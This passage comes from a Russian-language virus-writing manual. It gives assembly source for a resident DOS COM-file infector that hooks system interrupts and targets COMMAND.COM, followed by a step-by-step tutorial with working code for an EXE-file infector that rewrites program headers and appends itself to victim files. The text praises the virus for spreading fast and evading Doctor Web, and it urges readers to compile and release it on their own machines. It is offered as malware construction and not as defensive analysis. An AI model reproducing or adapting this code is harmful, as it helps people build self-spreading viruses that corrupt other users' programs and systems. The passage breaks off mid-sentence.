Компьютерные науки - Учебники на русском языке - Скачать бесплатно
jmp cs:find_next
write_vir: mov ax,4200h ;Запишем начало
xor cx,cx ;вируса ...
mov dx,di
int 21h
jc cs:close
mov ah,40h
mov cx,2
lea dx,end_file
int 21h
jc cs:close
;И остальную
mov ah,40h ;часть ...
mov cx,vir_len - 2
lea dx,vir + 2
int 21h
jc cs:close
write_bytes: ;Запишем первые
mov ax,4200h ;три байта
xor cx,cx
xor dx,dx
int 21h
jc cs:close
mov ah,40h
mov cx,3
lea dx,new_bytes
int 21h
close: mov ah,3eh ;Закроем зара-
int 21h ;женный файл
restore_dta:
mov cx,80h ;Восстановим DTA
lea si,dta_save
mov di,bp
dta_fresh:
mov al,[si]
mov byte ptr es:[di],al
inc si
inc di
loop cs:dta_fresh
exit_zarasa: ;Выход в систему
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
mov ss,cs:ss_save-110h ;Восстановим
mov sp,cs:sp_save-110h ;стек ...
iret
;-------------------------------------------------
; _______________________________________________
;| |
;| Напишем новые обработчики INT 13h, INT 21h, |
;| INT 24h и INT 2fh ... |
;|_______________________________________________|
to_new_13h equ $-vir
new_13h: jmp cs:start_13h
tg_13h db 0
ax_13h dw 0
cs_13h dw 0
ip_13h dw 0
start_13h: mov cs:tg_13h - 110h,1
pushf
db 9ah
old_13h dw 0
old_13h_2 dw 0
mov cs:ax_13h - 110h,ax;Поместим новый
pop ax ;флаг на место
mov cs:ip_13h - 110h,ax;старого ( CF )
pop ax
mov cs:cs_13h - 110h,ax
pop ax
pushf
mov ax,cs:cs_13h - 110h
push ax
mov ax,cs:ip_13h - 110h
push ax
mov ax,cs:ax_13h - 110h
mov cs:tg_13h - 110h,0
iret
;-------------------------------------------------
to_new_21h equ $-vir
new_21h: jmp cs:start_21h
tg_infect db 0
start_21h: pushf
push di
push es
xor di,di ;Перехват
mov es,di ;INT 24h в рези-
mov di,90h ;дентном режиме
mov word ptr es:[di],to_new_24h
mov es:[di+2],cs
cmp ah,03bh ;Активизировать
;вирус ?
jne cs:new_cmp_1
mov cs:tg_infect-110h,1;Да - взводим
;триггер ...
new_cmp_1: cmp ah,00eh
jne cs:to_jump
mov cs:tg_infect - 110h,1
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
old_21h dw 0 ;рый обработчик
old_21h_2 dw 0 ;INT 21h ...
;-------------------------------------------------
to_new_24h equ $ - vir
new_24h: mov al,3 ;Вернем програм-
iret ;ме управление и
;код ошибки ...
;-------------------------------------------------
to_new_2fh equ $ - vir
new_2fh: pushf
cmp ax,0f000h
jne cs:not_our
cmp bx,1997h
jne cs:not_our
mov al,0ffh
popf
iret
not_our: popf
db 0eah
old_2fh dw 0
old_2fh_2 dw 0
;/***********************************************/
;Data area
old_bytes db 0e9h ;Исходные три
dw vir_len + 0dh ;байта ...
dta_save db 128 dup (0) ;Массив для DTA
maska db '*.com',0 ;Маска для поис-
;ка ...
fn db 12 dup (' '),0 ;Место для имени
;файла
new_bytes db 0e9h ;Код команды
;" JMP ..."
db 00h ;HIGH
db 00h ;LOW
end_file db 0ebh ;Первые два бай-
db push_len ;та вируса в
;файле ...
ss_save dw 0 ;Буфера для SS
sp_save dw 0 ;и SP ...
help_word dw 0 ;Промежуточная
;ячейка .
old_attr db 0 ;Исходные атри-
;буты файла ...
com_com db 'COMMAND' ;Имя командного
;процессора ...
inside db 0 ;Ячейка - инди-
;катор ...
last db 0 ;Последний байт
to_newstack equ $ - vir ;Смещение к сте-
;ку ...
newstack dw 70 dup ( 0 ) ;Новый стек ...
;-------------------------------------------------
search proc ;Процедура
push ax ;сравнивает
push cx ;строки ...
mov inside,1
lea di,fn
lea si,com_com
mov cx,7
new_cmp: mov al,byte ptr ds:[si]
cmp byte ptr ds:[di],al
jne cs:not_equal
inc di
inc si
loop cs:new_cmp
jmp cs:to_ret
not_equal: mov inside,0
to_ret: pop cx
pop ax
ret
search endp
db '1' ;Последний байт
;вируса ...
vir_len equ $-vir ;Длина вируса в
;байтах ...
vir_par equ ( $-vir + 0fh ) / 16
;И в параграфах
prg_end: mov ax,4c00h ;Выход в DOS
INT 21H ;только для за-
;пускающей прог-
;раммы ...
db '1' ;И ее последний
;байт ...
prg ends ;Стандартное
end start ;" окончание "
;ASM - программы
2.26 Комментарии
В отличие от предыдущего,разработанный в этой гла-
ве вирус может отыскивать файлы для заражения на
всем жестком диске и даже на дискетах . Это делает
его довольно заразным и быстро распространяющимся.
Поэтому сложность " конструкции " окупается эф-
фективностью работы вирусного кода .
Вместе с тем,наш вирус имеет определенный недоста-
ток .Ведь его обнаруживает такая распространенная
программа, как DOCTOR WEB !В следующей части будет
рассказано о способах разработки вирусов, против
которых алгоритм эвристического анализа оказывае-
тся малоэффективным .
2.27 Испытание вируса
Для исследования работы вируса откомпилируйте его
исходный текст для получения COM - файла . После
чего запустите этот COM - файл .
" Пройдитесь " по различным каталогам и понаблюда-
йте, как вирус заражает файлы при смене текущего
каталога .Попробуйте перейти на другой диск и про-
следите за действиями вируса .И последнее,проверь-
те, заражается ли командный процессор .Все выше-
указанные действия нужно проводить очень аккурат-
но и не рисковать важными программами, так как ви-
рус, который мы изготовили, весьма заразный, из-за
чего у вас могут быть неприятности .
Кроме того, очень советую вам " пройти " заражен-
ную программу отладчиком до точки входа в про-
граммный код .
И,наконец,при инсталлированном в память машины ви-
русном коде запустите программу DOCTOR WEB в режи-
ме поиска резидентных вирусов . Вы убедитесь, что
наш вирус обнаруживается как неизвестный .
ЧАСТЬ 2 . EXE - ВИРУСЫ
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА
1.1 Формат EXE - файла на диске
Каждый EXE - файл, хранимый на диске, состоит из
заголовка,таблицы настройки и собственно программ-
ных кодов и данных.В заголовке содержится информа-
ция для настройки адресов и установки значений ре-
гистров процессора, которая используется при заг-
рузке программы .Поскольку понимание структуры за-
головка очень важно для изучения данной и последу-
ющей глав, мы рассмотрим ее уже сейчас .
Итак,заголовок EXE - файла при хранении его на ди-
ске имеет следующий формат :
Байты 0, 1 : Содержат код 4D5Ah, или " MZ "
Байты 2, 3 : Содержат остаток от деления размера
загрузочного модуля на 512
Байты 4, 5 : Содержат размер файла в 512-ти бай-
товых страницах, округленный в боль-
шую сторону
Байты 6, 7 : Содержат число элементов таблицы на-
стройки адресов
Байты 8, 9 : Содержат размер заголовка в парагра-
фах
Байты 0A,0B : Содержат минимальное число дополни-
тельных параграфов,которые нужны за-
груженной программе
Байты 0C,0D : Содержат максимальное число дополни-
тельных параграфов
Байты 0E,0F : Содержат смещение в параграфах сег-
мента стека в загрузочном модуле;на-
зовем его SS0
Байты 10,11 : Содержат значение регистра SP, кото-
рое устанавливается перед передачей
управления программе ( SP0 )
Байты 12,13 : Содержат контрольную сумму EXE-фай-
ла
Байты 14,15 : Содержат значение регистра IP, кото-
рое устанавливается перед передачей
управления программе ( IP0 )
Байты 16,17 : Содержат смещение в параграфах сег-
мента кода в загрузочном модуле,или
CS0
Байты 18,19 : Содержат расстояние в байтах от на-
чала файла до первого элемента таб-
лицы настройки адресов
Байты 1A,1B : Содержат "0", если данная часть про-
граммы является резидентной, или от-
личное от нуля число - если данная
часть является оверлейной
Заметим, что контрольная сумма определяется сумми-
рованием всех слов, содержащихся в файле,без учета
переполнения.При этом она практически нигде не ис-
пользуется.
1.2 Загрузка и выполнение EXE - программы
Действия MS DOS при запуске EXE - программы отли-
чаются от действий при запуске программы типа COM,
хотя в обоих случаях операционная система исполь-
зует одну и ту же функцию EXEC. Действия этой фун-
кции при запуске EXE - программы выглядят так :
1. Запускаемой программе отводится вся свобод-
ная в данный момент оперативная память .Сегментная
часть начального адреса этой памяти обычно называ-
ется начальным сегментом программы.
2. По нулевому смещению в сегменте, определяемом
начальным сегментом программы,EXEC строит PSP про-
граммы.Заполняет PSP по-прежнему операционная сис-
тема, а его размер, как и для COM - программы, ра-
вен 256 байт .
3. Сразу вслед за PSP загружается сама EXE - прог-
рамма.Причем в память помещается исключительно за-
грузочный модуль, а заголовок и таблица настройки
в память не копируются.После этого выполняется так
называемая настройка адресов . Ее суть состоит в
следующем :
Некоторые команды (например, команды далекого пе-
рехода или вызова процедуры, расположенной в дру-
гом программном сегменте) требуют указания не то-
лько смещения, но и сегмента адреса .Компоновщик
строит EXE - модуль относительно некоторого " на-
чального " адреса,но ведь в MS DOS программы могут
загружаться в произвольную область памяти !Поэтому
при загрузке программы к каждому сегментному адре-
су прибавляется значение начального сегмента про-
граммы . Этот процесс и называют настройкой адре-
сов .У вас может возникнуть вопрос, откуда MS DOS
знает, где расположены требующие настройки элемен-
ты .Для получения такой информации система исполь-
зует таблицу настройки, которая находится в файле
по некоторому смещению от его начала .Само смеще-
ние хранится в заголовке в байтах 18h, 19h .
4. EXEC выполняет настройку регистров процессора.
Обозначим начальный сегмент программы буквами NS0.
Тогда устанавливаемые значения регистров будут вы-
глядеть так :
DS = ES = NS0
CS = NS0 + 10h + CS0
IP = IP0
SS = NS0 + 10h + SS0
SP = SP0
CS0, SS0, IP0 и SP0 берутся загрузчиком из заголо-
вка EXE - файла, а NS0 становится известным в про-
цессе загрузки .
5. Теперь загруженную EXE - программу можно испол-
нить . Для этого EXEC передает управление по адре-
су CS : IP .
Стоит заметить, что размер EXE - файла в MS DOS не
ограничивается размером одного сегмента и может
быть очень большим ( примерно 65535*512 = 33553920
байт !). Правда,для построения очень больших EXE -
программ используется оверлейная структура.При ис-
полнении программы, имеющей оверлейную структуру ,
она не загружается в память целиком.Вместо этого в
память помещается только ее резидентная часть, ко-
торая по мере необходимости подгружает те или иные
оверлейные фрагменты .
1.3 Как вирус может заразить EXE - файл
Как и при заражении COM - программ, при заражении
EXE - файлов вирусный код может записываться в ко-
нец,начало или в середину файла.Запись в конец фа-
йла,как и в предыдущем случае,реализуется наиболее
просто,и кроме того,предохраняет от многих трудно-
стей при отладке .Поэтому мы создадим вирус, рабо-
тающий имено по такому принципу .
Для того,чтобы при старте зараженной программы код
вируса получил управление, следует соответствующим
образом модифицировать заголовок EXE - файла . Для
этого исходные значения CS0 и IP0 заменяются на
точку входа в вирусный код, а значения SS0 и SP0
" переключаются " на собственный стек вируса.Кроме
того, поскольку при заражении изменяются длина за-
грузочного модуля и длина файла, необходимо скор-
ректировать поля заголовка по смещению 02h, 03h, а
также 04h, 05h .Вот и все .
Может показаться, что создать вирус,заражающий EXE
- файлы, намного сложнее, чем COM - вирус . Однако
это не так . Прочтите эту главу, и вы убедитесь в
этом !
1.4 Работа вируса в зараженной программе
Рассмотрим теперь действия вируса при получении им
управления .
Итак, вирус функционирует по такому алгоритму :
1. Ищет на диске подходящий EXE - файл .
2. Записывает свое тело в конец этого файла .
3. Корректирует заголовок заражаемой программы
следующим образом :
a.) Вместо исходных CS0 и IP0 заражаемой про-
граммы записываются значения, обеспечиваю-
щие передачу управления вирусному коду при
запуске программы .
б.) Исходные SS0 и SP0 заменяются на значения,
обеспечивающие переключение на собственный
стек вируса .
в.) Корректируется остаток от деления размера
загрузочного модуля на 512 .
г.) Поскольку при заражении длина файла увели-
чивается, корректируется размер файла в ст-
раницах ( одна страница равна 512 байт ) .
Естественно, перед корректировкой вирус обязан со-
хранить исходные параметры заголовка -ведь они по-
требуются при передаче управления вирусному коду .
После коррекции заголовок записывается на диск .
4. Выполняет вредные действия, предусмотренные ав-
тором .
5. Определяет значения CS, IP, SS и SP,необходимые
для правильной работы программы,из которой старто-
вал вирус .
6. Передает управление зараженной программе . Для
этого вирус использует команду безусловного даль-
него перехода.Адрес перехода задается вычисленными
CS и IP .После этого начинается обычное выполнение
программы .
1.5 Начало работы
Как и COM - вирус, EXE - вирус лучше разрабатывать
в формате COM .Это убережет нас от многих ненужных
трудностей .Поэтому напишем стандартное начало COM
программы :
prg segment
assume cs:prg,ds:prg,es:prg,ss:prg
org 100h
Как вы помните, директива "assume cs:prg,ds:prg,es
:prg,ss:prg" назначает сегментные регистры сегмен-
ту с именем PRG, а директива "org 100h" резерви-
рует место для PSP вирусной программы .
1.6 Вирус получает управление
В отличие от COM - вируса,наша запускающая програ-
мма после запуска не будет заменять в памяти свои
первые три байта командой перехода на функцию DOS
завершения программы . По этой причине можно не
бояться, что в заражаемый файл попадет испорченный
вирусный код (см. п. 1.17 предыдущей части).Отсюда
следует, что директива " org 110h" нам не потре-
буется .Значит,можно сразу переходить " к делу " :
vir: mov ax,cs ;AX = CS ...
db 2dh ;SUB AX,00h
sub_ds dw 0 ;
mov ds,ax ;
mov ss,ax ;
mov ah,1ah ;Переключим DTA
lea dx,new_dta ;на соответству-
;ющий массив в
int 21h ;области данных
;вируса ...
При компиляции относительные адреса всех ячеек па-
мяти определяются относительно DS, который указы-
вает на начало PSP .Но в зараженной программе при
передаче управления на код вируса регистр CS будет
указывать на параграф, с которого начинается этот
код, а не на начало PSP, а регистр DS вообще ока-
жется настроенным на начальный сегмент программы !
Единственный способ получить доступ к данным виру-
са заключается в установке DS = CS.А с учетом раз-
мера PSP в 10h параграфов значение DS следует уме-
ньшить как раз на эту величину .При заражении того
или иного файла поле " sub_ds " для него будет за-
полняться значением 10h.Поскольку запускающая про-
грамма имеет COM - формат, для нее CS = DS = SS =
= ES, и все они указывают на начало PSP . Поэтому
значение DS корректировать не нужно, и в поле
" sub_ds " запускающей программы помещается ноль .
Дальше вирус переключает DTA на массив "new_dta",
расположенный в области данных вируса . Поскольку
начальный сегмент программы станет известным при
ее запуске,можно будет без особого труда восстано-
вить адрес исходной DTA.
1.7 Ищем подходящий файл
Теперь наш вирус может заняться поиском файла-жер-
твы .Как мы договорились, вирус будет заражать EXE
- файлы, значит, такой файл и нужно найти . Но по-
скольку фрагмент, который производит поиск файлов
с тем или иным расширением уже был создан, остает-
ся только воспользоваться им, внеся некоторые из-
менения :
mov ax,old_ip ;Скопируем исхо-
mov my_ip,ax ;дные параметры
mov ax,old_cs ;заголовка зара-
mov my_cs,ax ;женной програм-
mov ax,to_16h ;мы в ячейки па-
mov my_16h,ax ;мяти " my_XX ",
mov ax,old_ss ;так как ячейки
mov my_ss,ax ;" old_XX ", в
mov ax,old_sp ;которых хранят-
mov my_sp,ax ;ся параметры,
;будут испорчены
;при заражении
;нового файла
find_first:mov ah,4eh ;Поиск первого
mov cx,00100110b ;файла :
lea dx,maska ;archive, system
int 21h ;hidden ...
jnc r_3
jmp restore_dta
find_next: mov ah,3eh ;Закроем непод-
mov bx,descrypt ;ходящий файл
int 21h
jnc r_2
jmp restore_dta
r_2: mov ah,4fh ;Поиск следующе-
int 21h ;го ...
jnc r_3
jmp restore_dta
r_3: mov cx,12 ;Очистим об-
lea si,fn ;ласть " fn "
kill_name: mov byte ptr [si],0
inc si
loop kill_name
xor si,si ;И перепишем
copy_name: mov al,byte ptr new_dta[si + 01eh]
cmp al,0 ;туда имя най-
je open_file ;денного файла
mov byte ptr fn[si],al
inc si
jmp copy_name
open_file: mov ax,3d02h ;Откроем файл
lea dx,fn ;для чтения и
int 21h ;записи ...
jnc found_size
jmp r_2
found_size:mov descrypt,ax ;Определим раз-
mov cx,word ptr [new_dta + 01ch]
mov dx,word ptr [new_dta + 01ah]
sub dx,1 ;мер файла и вы-
sbb cx,0 ;чтем из него
;единицу ...
call setpointer ;Установим ука-
;затель на пос-
;ледний символ
read_last: mov cx,1 ;Прочитаем
lea dx,last ;последний
call read ;символ ...
jnc compar
jmp close_file
compar: cmp last,'7' ;Это "семерка" ?
jne mmm ;Нет
to_next: jmp find_next ;Да ! Файл уже
;заражен, и надо
;искать другой
Вы, вероятно, уже поняли,что каждая новая програм-
ма составляется нами из ранее разработанных бло-
ков, как из конструктора.Это сильно упрощает рабо-
ту и сокращает время на составление программ .Было
бы странно не воспользоваться готовыми фрагментами
и заново преодолевать все трудности !
Вместе с тем, использованный фрагмент пришлось не-
сколько модифицировать,чтобы он смог правильно ра-
ботать в новой программе .Первое внесенное измене-
ние состоит в дублировании исходных значений заго-
ловка программы, из которой стартовал вирус.В ком-
ментариях рассказано, зачем это потребовалось.Сле-
дющее изменение вызвано тем, что EXE - файл может
быть длиннее 64 Кбайт.Поэтому для установки указа-
теля на последний байт файла недостаточно просто
вычесть единицу из его размера.Например,пусть дли-
на файла равна 10000h байт . В этом случае из DTA
будут считаны такие числа :CX = 0001h и DX = 0000h
(см. выше) .Теперь для обращения к последнему эле-
менту файла из пары CX : DX следует вычесть "1" .
Если просто вычесть единицу из DX, то мы получим
следующее :CX = 0001h, DX = 0FFFFh, то есть полно-
стью абсурдное значение . Чтобы такого не происхо-
дило, нужно применить команду " вычитание с зае-
мом ", которая будет отнимать от CX значение фла-
га переноса CF - " ноль " или " один " .
И последнее - вместо непосредственной установки
указателя мы будем просто вызывать процедуру "set-
pointer ", текст которой несложен и рассматривает-
ся в конце главы .
1.8 Читаем заголовок файла
Наш EXE-вирус должен получать управление при стар-
те зараженного файла .С этой целью он может моди-
фицировать заголовок файла,как показано в п. 1.4 .
Проще всего будет считать заголовок найденной EXE-
программы с диска, после чего сделать необходимые
изменения и записать его обратно на диск.А так как
предыдущий фрагмент вирусной программы уже нашел
подходящий EXE - файл, самое время прочитать его
заголовок :
mmm: xor cx,cx ;Установим ука-
xor dx,dx ;затель на нача-
call setpointer ;ло файла ...
mov ah,3fh ;И считаем инте-
mov bx,descrypt ;ресующую нас
mov cx,27 ;часть заголовка
;в массив " hea-
;der " .Она как
lea dx,header ;раз занимает 27
int 21h ;байт...
jnc next_step ;
jmp restore_dta ;Ошибка чтения !
Работа фрагмента довольно проста и пояснений не
требует .
1.9 Производим необходимые вычисления
Теперь наша задача состоит в следующем : Используя
числа, полученные из заголовка и некоторые вспомо-
гательные данные, рассчитать новые параметры заго-
ловка EXE - программы.Напомним,что необходимо най-
ти :
Новые значения CS0, IP0, SS0 и SP0
Новый остаток от деления размера загрузочного мо-
дуля на 512
Новый размер файла в 512 - ти байтовых страницах,
округленный в большую сторону
Кроме того,следует найти такое значение указателя,
которое обеспечило бы запись вирусного кода в ко-
нец файла . Это значение будет исходным для проце-
дуры " setpointer ", которая предназначена для ус-
тановки указателя в файле .
Перед началом вычислений вирус должен "запомнить"
исходные параметры заголовка, чтобы можно было ис-
пользовать их для расчета правильной точки входа и
переключения стека с области данных вируса на стек
зараженной программы при передаче ей управления :
;Запомним пара-
;метры заголовка
;в переменных
;" old_XX " ...
next_step: mov ax,word ptr header[14h]
mov old_ip,ax
mov ax,word ptr header[16h]
mov old_cs,ax
mov ax,word ptr header[0eh]
mov old_ss,ax
mov ax,word ptr header[10h]
mov old_sp,ax
После этого можно приступить к вычислениям.Но сна-
чала следует привести принятые для расчета форму-
лы .Обозначим :
Остаток от деления размера загрузочного модуля на
512 - Исходный : при вычислениях не используется
Вычисленный в результате коррекции ( в даль-
нейшем - " вычисленный " ) : Header [02h]
Размер файла в 512 - ти байтовых страницах -
Исходный : File_size
Вычисленный : Header [04h]
Смещение в параграфах стекового сегмента в загру-
зочном модуле -
Исходное : SS0
Вычисленное : Header [0eh]
Смещение в параграфах кодового сегмента в загру-
зочном модуле -
Исходное : СS0
Вычисленное : Header [16h]
Значение указателя стека SP при передаче управле-
ния программе -
Исходное : SP0
Вычисленное : Header [10h]
Значение указателя команд IP при передаче управле-
ния программе -
Исходное : IP0
Вычисленное : Header [14h]
Размер заголовка в параграфах -
Head_size
Длина вируса в байтах -
Vir_len
Старшая часть указателя для записи вируса в конец
файла -
F_seek_high
Младшая часть указателя -
F_seek_low .
CS0, IP0, SS0 и SP0 в этих расчетах не используют-
ся,но мы сохранили их в выделенных ячейках памяти.
Тогда можно привести такие формулы :
Header [16h] = File_size * 32 - Head_size
Header [04h] = (File_size * 512 + Vir_len) / 512 -
частное от деления + 0,если остаток
равен нулю
+ 1,если остаток
не равен ну-
лю
Header [02h] = (File_size * 512 + Vir_len) / 512 -
остаток от деления
Header [14h] = 0
При этом первая исполняемая коман-
да вируса будет находиться по адре-
су : CS : 0000h, CS = Header [16h].
Header [0eh] = Header [16h], чтобы можно было об-
ратиться к стеку вируса,задав в ка-
честве SP " расстояние " от начала
вирусного кода до последних слов
стека .
Header [10h] = смещению к New_stack + 96h, послед-
нее слагаемое зависит от размера
вирусного стека .
F_seek_high = File_size * 512 ( High )
F_seek_low = File_size * 512 ( Low )
Все расчеты по приведенным формулам можно выпол-
нить с помощью таких программных строк :
mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h
jna good_size
jmp find_next
good_size: mov bp,ax
sub ax,word ptr header[08h]
mov to_16h,ax ;Это число запи-
;шется в Header
;[16h]
mov ax,bp
xor dx,dx
call mover
mov f_seek_low,ax
mov f_seek_high,dx
cmp dx,word ptr [new_dta + 01ch]
jl to_next
ja infect
cmp ax,word ptr [new_dta + 01ah]
jl to_next
infect: add ax,vir_len
adc dx,0
mov bx,512
div bx
cmp dx,0
je round
inc ax
round: mov to_04h,ax ;Это число запи-
;шется в Header
;[04h]
mov to_02h,dx
mov word ptr header[02h],dx
mov ax,to_04h
mov word ptr header[04h],ax
mov word ptr header[14h],0
mov ax,to_16h
mov word ptr header[16h],ax
mov word ptr header[0eh],ax
mov word ptr header[10h],offset ds:new_stack + 96
mov sub_ds,10h
В приведенном тексте широко используются команды :
ADC - сложение с переносом .Эта команда определяет
сумму задаваемых операндов и прибавляет к ней зна-
чение флага переноса CF
и
SBB - вычитание с заемом . Команда определяет раз-
ность задаваемых операндов и вычитает из нее зна-
чение флага CF .
Такие команды потребовались для того, чтобы можно
было учесть переполнения, возникающие при работе с
файлами длиннее 64 Кбайт .Заметьте, что при разра-
ботке COM - вирусов они не применялись вообще .
Процедура " mover " заимствована из книги П .Абеля
"Язык ассемблера для IBM PC и программирования" и
предназначена для умножения двойного слова CX : DX
на 16 методом сдвига .
Хотелось бы сказать о том, как наш вирус определя-
ет, содержит ли файл внутренние оверлеи .Для этого
он просто сравнивает размер файла в параграфах,по-
лученный из заголовка по смещению 04h с размером,
считанным из DTA.Верным признаком присутствия вну-
тренних оверлеев является следующий факт :
Размер, полученный из DTA больше значения, вычис-
ленного по параметрам заголовка . Заражать " овер-
лейный " файл по принятому нами алгоритму нельзя,
и наш вирус при обнаружении такого файла просто
попробует найти другую EXE - программу . Сам алго-
ритм заражения оверлейных файлов отличается высо-
кой сложностью и ненадежностью и в данном пособии
не рассматривается .Стоит заметить, что далеко не
все вирусы корректно работают с такими файлами, а
многие просто их портят .
1.10 Заражаем EXE - программу
После того, как скорректирован заголовок файла,мо-
жно его заразить.Напомним, что при заражении вирус
должен перезаписать на диск модифицированный заго-
ловок, после чего поместить свой код в конец файла
- жертвы :
xor dx,dx ;Устанавливаем
xor cx,cx ;указатель на
call setpointer ;начало файла
jc close_file ;
lea dx,header ;И записываем
mov cx,27 ;измененный за-
call write ;головок на диск
jc close_file
mov dx,f_seek_low ;Устанавливаем
mov cx,f_seek_high ;указатель на
call setpointer ;определенное
;ранее место в
;файле
jc close_file
lea dx,vir ;И записываем на
mov cx,vir_len ;диск вирусный
call write ;код
close_file:xor ax,ax ;Закроем зара-
mov ah,3eh ;женный файл
mov bx,descrypt ;
int 21h ;
Строго говоря, код вируса записывается не за пос-
ледним байтом файла .Это имеет место только когда
размер файла кратен 512 .Во всех остальных случаях
вирусный код помещается в файл по смещению,опреде-
ляемому размером файла в 512 - ти байтовых страни-
цах .Конечно, число страниц округляется в большую
сторону . Например, при размере файла в 1025 байт
вирус будет считать, что его длина составляет три
полных страницы, а при размере в 4096 байт - всего
восемь ! Такая система сильно упрощает процесс со-
здания вирусной программы и ее отладку .
1.11 Восстанавливаем DTA
Итак, вирус выполнил свою работу - найден и зара-
жен подходящий EXE - файл .Дальше необходимо пере-
ключить DTA с области данных вируса на область в
PSP программы, из которой он стартовал . Поскольку
начальный сегмент программы известен ( он хранится
в регистре ES, которым мы не пользовались ),несло-
жно найти адрес исходной DTA .Он равен ES : 80h .И
поэтому :
restore_dta:
push ds ;DS -> в стек
mov ah,1ah ;Восстановим
mov dx,080h ;адрес DTA зара-
mov bp,es ;женной програм-
mov ds,bp ;мы с помощью
int 21h ;функции DOS 1Ah
pop ds ;DS <- из стека
В этом фрагменте адрес DTA устанавливается с помо-
щью функции DOS 1Ah ( см.ПРИЛОЖЕНИЕ 1).Новый адрес
должен быть помещен в DS : DX, что мы и сделали .
Команда " push ds " записывает в стек содержимое
регистра DS, так как этот регистр используется для
задания адреса,и поэтому его значение будет испор-
чено .
1.12 Восстанавливаем точку входа
Далее необходимо передать управление зараженной
программе ( конечно, не только что зараженной, а
той, из которой стартовал вирус ) .Для этого нужно
восстановить ее исходную точку входа,а также пере-
ключить стек с вирусной области данных на стек,
предусмотренный разработчиком программы .
Чтобы произвести все необходимые вычисления,мы ис-
|